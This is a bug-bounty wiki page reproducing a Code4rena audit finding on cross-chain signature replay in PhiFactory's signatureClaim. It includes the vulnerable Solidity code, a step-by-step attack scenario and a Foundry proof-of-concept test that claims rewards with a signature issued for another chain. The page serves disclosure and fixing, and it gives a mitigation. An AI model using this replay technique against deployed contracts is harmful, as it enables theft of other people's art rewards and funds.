Skip to content
Crypto Audit finding Intermediate

Signature replay in signatureClaim results in unauthorized claiming of rewards

The signatureClaim function in PhiFactory does not validate the chain ID included in the signed data, allowing a signature obtained on one chain to be reused on another. An attacker could claim valuable art rewards on a different chain without proper authorisation.

kuprum Follow with Evo, McToady and 1 other

Originally disclosed on Code4rena

Submitted by kuprum, also found by Evo, McToady, and rbserver

Loss of funds due to unauthorized and multiple claiming of art rewards: signature obtained from the Phi signer on one chain can be employed to claim NFT rewards on any other chain.

Summary

Contract PhiFactory includes the function signatureClaim, which is intended for claiming art rewards using a signature obtained from the Phi signing authority. Unfortunately, the signature validation in this function is faulty, as it doesn’t validate the chain id for which the signature has been issued:

(uint256 expiresIn_, address minter_, address ref_, address verifier_, uint256 artId_,, bytes32 data_) =
    abi.decode(encodeData_, (uint256, address, address, address, uint256, uint256, bytes32));

if (expiresIn_ <= block.timestamp) revert SignatureExpired();
if (_recoverSigner(keccak256(encodeData_), signature_) != phiSignerAddress) revert AddressNotSigned();

Notice the fragment uint256 artId_,, bytes32 data_: in between of artId and data_ there is the encoded chainId, which is ignored.

There is a correct path for signature claims, which goes via PhiNFT1155 -> Claimable::signatureClaim, which unpacks the supplied data, but submits to PhiFactory::signatureClaim the data with the chain id substituted with block.chainid. Unfortunately, PhiFactory::signatureClaim can be called directly, thus bypassing this crucial step. As a result, the signature obtained for one chain can be reused for multiple chains. As PhiFactory and art contracts on multiple chains are independent, the artId referring to some cheap artwork on one chain, may refer on another chain to a very valuable artwork; claiming this artwork without proper authorization leads to direct loss of funds. Here is the scenario:

  1. An attacker observes that a valuable art piece exists on chain A with artId.
  2. They find a chain B where such artId is not yet used, and create a bunch of arts till they reach this artId.
  3. They correctly claim artId on chain B.
  4. They reuse the obtained signature to claim the art piece with artId on chain A, thus effectively stealing it.

Proof of Concept

Drop this test to Claimable.t.sol and execute via forge test --match-test Kuprum:

    function testKuprum_Claim_with_Signature_Replay() public {
        uint256 artId = 1;
        uint256 tokenId = 1;
        uint256 quantity = 1;

        // The signature is obtained on some other chain
        uint256 otherChainId = 99999;
        assertNotEq(block.chainid, otherChainId);

        // Prepare the signature
        bytes32 claimData = bytes32("1");
        bytes memory signData =
            abi.encode(expiresIn, participant, referrer, verifier, artId, otherChainId, claimData);
        bytes32 digest = ECDSA.toEthSignedMessageHash(keccak256(signData));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(claimSignerPrivateKey, digest);
        if (v != 27) s = s | bytes32(uint256(1) << 255);
        bytes memory signature = abi.encodePacked(r, s);

        // Claim from the factory with the signature obtained for another chain
        vm.warp(START_TIME + 1);
        vm.startPrank(participant, participant);
        IPhiFactory.MintArgs memory mintArgs = IPhiFactory.MintArgs(tokenId, quantity, "ART_ID_URL_STRING");
        phiFactory.signatureClaim{ value: phiFactory.getArtMintFee(artId, 1) }(signature, signData, mintArgs);

        // All balances on this chain are updated, despite invalid signature
        assertEq(IERC1155(phiFactory.getArtAddress(artId)).balanceOf(participant, 1), 1, "participant erc1155 balance");
        assertEq(curatorRewardsDistributor.balanceOf(1), CURATE_REWARD, "epoch fee");
        assertEq(verifier.balance, 1 ether, "verify fee");
        vm.startPrank(verifier);
        phiRewards.withdraw(verifier, VERIFY_REWARD);
        assertEq(verifier.balance, 1 ether + VERIFY_REWARD, "verify fee");
    }

Tools Used

Foundry

Recommended Mitigation Steps

We recommend to apply in PhiFactory::signatureClaim the same approach as in Claimable::signatureClaim, i.e., to repack the signature data substituting the chainId with block.chainid.

Assessed type

Invalid Validation

ZaK3939 (Phi) confirmed via duplicate Issue #59


The original report as published on Code4rena, by kuprum. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the signatureClaim function decodes the signed data but ignores the chain ID field, so the signature is not bound to a specific chain.

Impact

An attacker could claim valuable art rewards on another chain without authorisation, leading to direct loss of funds.

What the attacker needed

A signature from the Phi signer on one chain; ability to call PhiFactory::signatureClaim directly; a valuable art piece on another chain with matching artId

The fix

The signatureClaim function should repack the signature data substituting the chainId with block.chainid, as done in Claimable::signatureClaim.

How it was found

  1. An attacker observes a valuable art piece on chain A with a certain artId.
  2. They find a chain B where that artId is unused and create arts until reaching that artId.
  3. They claim the artId on chain B and obtain a valid signature.
  4. They reuse that signature to claim the art piece with the same artId on chain A.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A signature is like a digital stamp that proves the creator approved a specific action. Here, the stamp was supposed to be tied to one blockchain, but the check forgot to look at which blockchain it was for, so the same stamp could be used on a different blockchain to steal rewards.

What is Crypto?

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.

More by kuprum

View all

4 more disclosed reports, best first.

More from Phi

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cryptographic weaknesses

The lesson behind this report.

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.